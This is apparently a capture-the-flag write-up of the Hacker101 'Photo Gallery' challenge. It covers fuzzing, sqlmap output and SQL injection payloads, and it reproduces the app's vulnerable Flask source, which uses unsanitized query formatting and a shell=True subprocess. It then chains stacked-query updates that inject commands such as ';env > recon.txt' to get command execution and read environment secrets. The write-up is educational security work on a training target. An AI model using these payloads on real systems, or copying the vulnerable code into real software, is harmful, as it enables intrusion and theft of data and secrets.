Photo Gallery walkthrough

October 16, 2022

This is the next challenge from Hacker101 CTF after Encrypted Pastebin. This is a web challenge rated as moderate. Let’s dive right into it.


The homepage displays three images, but the last one doesn’t render correctly. The first thing I tend to do when using a new service is to understand on a higher level how it works. Let’s inspect the source code and the network calls made by the page.

In our network tab we notice calls to the endpoint /fetch=<id>. It’s also interesting that the id with value 3 causes an Internal Server error while ids 1 and 2 are fine. Let’s keep that in mind since the service might be vulnerable to an IDOR or SQLi.

In order to find hidden ids I like to use ffuf to fuzz values. Let’s create a range.txt file with 50 ids and feed those to ffuf.

$ range 50 > range.txt $ ffuf -w range.txt --mc "all" -u https://<subdomain> ...

Nothing stands out here, only the first two images returns status 200. In this case I used --mc "all" to display every response irrespective of status code since I wanted to see if we could find other ids that would give us an Internal Server Error, but we couldn’t find any other one besides 3, which we already knew about.

Sometimes endpoints respond to other HTTP methods besides the usual GET, is that the case here? Let’s try to see if our endpoint responds to a POST request.

$ curl -X POST https://<subdomain> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>405 Method Not Allowed</title> <h1>Method Not Allowed</h1> <p>The method is not allowed for the requested URL.</p>

Seems like it doesn’t. Maybe we should try to discover more endpoints in this service. Let’s use ffuf yet again with a different wordlist.

$ ffuf -w /usr/share/wordlists/dirb/common.txt -u https://<subdomain> ...

No interesting results yet again! At this point my idea is to find out if we can abuse the id query parameter in any way. Passing the value foo to it generates a 500 (internal server error), which is interesting. Passing "foo" returns a 404 status code.

At this point I’m convinced our input is causing some kind of internal query (hopefully SQL) to error out, but we don’t have access to the output. Passing "1" instead of 1 makes the server return something interesting:

����JFIF�����ExifMM*JR(1Z�ih�� 4.1��zzUNICODECREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 ��C   #,%!*!&4'*./121%6:60:,010��C  0  00000000000000000000000000000000000000000000000000����"�� ���}!1AQa"q2���#B��R��$3br� ...

Passing "2" also returns a similar output, but passing something like "100" returns a not found status. I’m convinced that we can exploit this somehow, so let’s turn to sqlmap to try all sorts of techniques for us.

SQL Injection

$ sqlmap -u https://<subdomain> -p "id" --dump ... [18:23:58] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 OR time-based blind (SLEEP)' injectable ... GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 312 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 9950=9950 Type: time-based blind Title: MySQL >= 5.0.12 OR time-based blind (SLEEP) Payload: id=1 OR SLEEP(5) --- [18:26:52] [INFO] the back-end DBMS is MySQL

And as we thought that endpoint was vulnerable to SQL injection! Here’s the dump of the database:

Database: level5 Table: albums [1 entry] +----+---------+ | id | title | +----+---------+ | 1 | Kittens | +----+---------+ Table: photos [3 entries] +----+------------------+--------+------------------------------------------------------------------+ | id | title | parent | filename | +----+------------------+--------+------------------------------------------------------------------+ | 1 | Utterly adorable | 1 | files/adorable.jpg | | 2 | Purrfect | 1 | files/purrfect.jpg | | 3 | Invisible | 1 | <flag> | +----+------------------+--------+------------------------------------------------------------------+

Now we know the tables and columns and we can have an idea of how the server works. I would bet the query triggered from /fetch?id=<id> is something like:

SELECT filename FROM photos where id = <id>;

This implies that the server loads whatever filename it gets from the database and sends it back to the client. Can we load other files besides our images? Let’s keep this in mind after investigating the third entry in the photos table.

The query to id number 3 returns 500 because that file seems to be missing. Lucky for us that missing file is our first flag!

Arbitrary file loading

Let’s get back to our hypothesis that we can load files from our server. Would it be possible to load any file using a query like the one below?

SELECT filename FROM photos where id = 4 UNION SELECT '<our file>';

Let’s try it with files/adorable.jpg since we know this file exists. I’m also using id as 4 because we know this id doesn’t exist in our table.

https://<subdomain> UNION SELECT 'files/adorable.jpg'; --

And we got our status 200 answer as expected! The only problem is that we don’t know how the files in our application are named.

At this point I got a bit lost and had to get hints for this challenge, the one that helped me the most was:

This application runs on the uwsgi-nginx-flask-docker image

Which pointed me to:

According to this docker image we are running python and we usually have an app directory with files named:

  • uwsgi.ini

So I started querying for we get the file:

https://<subdomain> UNION SELECT ''; --

And inspecting the source code of the page allow us to read the contents of our file:

from flask import Flask, abort, redirect, request, Response import base64, json, MySQLdb, os, re, subprocess app = Flask(__name__) home = ''' <!doctype html> <html> <head> <title>Magical Image Gallery</title> </head> <body> <h1>Magical Image Gallery</h1> $ALBUMS$ </body> </html> ''' viewAlbum = ''' <!doctype html> <html> <head> <title>$TITLE$ -- Magical Image Gallery</title> </head> <body> <h1>$TITLE$</h1> $GALLERY$ </body> </html> ''' def getDb(): return MySQLdb.connect(host="localhost", user="root", password="", db="level5") def sanitize(data): return data.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;').replace('"', '&quot;') @app.route('/') def index(): cur = getDb().cursor() cur.execute('SELECT id, title FROM albums') albums = list(cur.fetchall()) rep = '' for id, title in albums: rep += '<h2>%s</h2>\n' % sanitize(title) rep += '<div>' cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, )) fns = [] for pid, ptitle, pfn in cur.fetchall(): rep += '<div><img src="[fetch?id=%i](view-source:" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle)) fns.append(pfn) rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>' rep += '</div>\n' return home.replace('$ALBUMS$', rep) @app.route('/fetch') def fetch(): cur = getDb().cursor() if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0: abort(404) # It's dangerous to go alone, take this: # ^FLAG^...$FLAG$ return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read() if __name__ == "__main__":'', port=80)

And we get another flag!

# It's dangerous to go alone, take this: # ^FLAG^...$FLAG$

Besides that a few other things stand out in this source code.


The subprocess.check_output method accepts our filenames without any encoding or sanitization. If we can somehow overwrite a filename in the database we should be able to get remote code execution.

subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT)

Our plan is to do something like:

du -ch filenames; <our command> || exit 0

So we need to have a file named ; <our command> as the last one in the list.

Database query in the fetch endpoint

Our query for a photo has the following format:

if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0

We already know our query is vulnerable to SQL injection and that we are using MySQL from our source code. MySQL also has a concept called stacked queries that allows us to send multiple queries to our database at the same time. If this is enabled we can inject whatever filename we want and cause remote code execution.

I would like to stop here and say that finding this wasn’t straightforward at all and required a lot of research on potential ways to exploit MySQL through SQL injection.

Let’s validate this approach with an id like:

1; INSERT INTO photos (id, title, parent, filename) VALUES (4, 'Potato', 1, 'files/adorable.jpg');

This will:

  1. Query for the id=1 which we know exists
  2. INSERT a new value in our database with a file that we know exists

There’s one trick to this though, we need to commit the value to our database. By default this doesn’t happen as we can see in this example.

So let’s modify our payload above:

1; INSERT INTO photos (id, title, parent, filename) VALUES (4, 'Potato', 1, 'files/adorable.jpg'); commit;

And now querying with /fetch?id=4 returns our image!

It’s time to get remote code execution (RCE). Or so I though… Going back to the homepage did not display my new photo. Going back to the source code to understand why made me notice the LIMIT 3 in the query below:

cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3'

I guess we need to update one of our records with the value we want instead of creating a new one. Or delete the existing ones, any solution is a valid one. Let’s go with the UPDATE one and do some recon on the file system:

1; UPDATE photos SET filename=";ls > recon.txt" where id=3; commit;

Now we can go back and refresh the homepage so the 'du -ch <files>; <our command> || exit 0' command is executed and then we can read our new file with:

?id=6 UNION SELECT 'recon.txt';

we get:

Dockerfile files main.pyc recon.txt requirements.txt uwsgi.ini

Let’s investigate these other files! After going over these one by one, the one that gave me an idea was since it contains the contents:

#!/bin/bash set -e service mysql start & python rm

Could this be adding something to our environment? Let’s validate this by adding the contents our environment to our recon.txt file with the env command:

1; UPDATE photos SET filename=";env > recon.txt" where id=3; commit;

And reading this file gives us our last flag, and all the other ones!

... FLAGS=["^FLAG^...$FLAG$","^FLAG^...$FLAG$","^FLAG^...$FLAG$"] ...


This was a fun challenge that forced us to read source code and also use and learn a bunch about SQL and MySQL features. Thinking back, instead of getting a hint we could have tried to enumerate our server for common files like, Dockerfile,, Procfile and so on until we found a hit. Let’s keep it in mind for future sessions.

Thanks for reading and I will see you in our next challenge!

Bernardo de Araujo

Application Security Manager @Shopify.

© Bernardo de Araujo 2023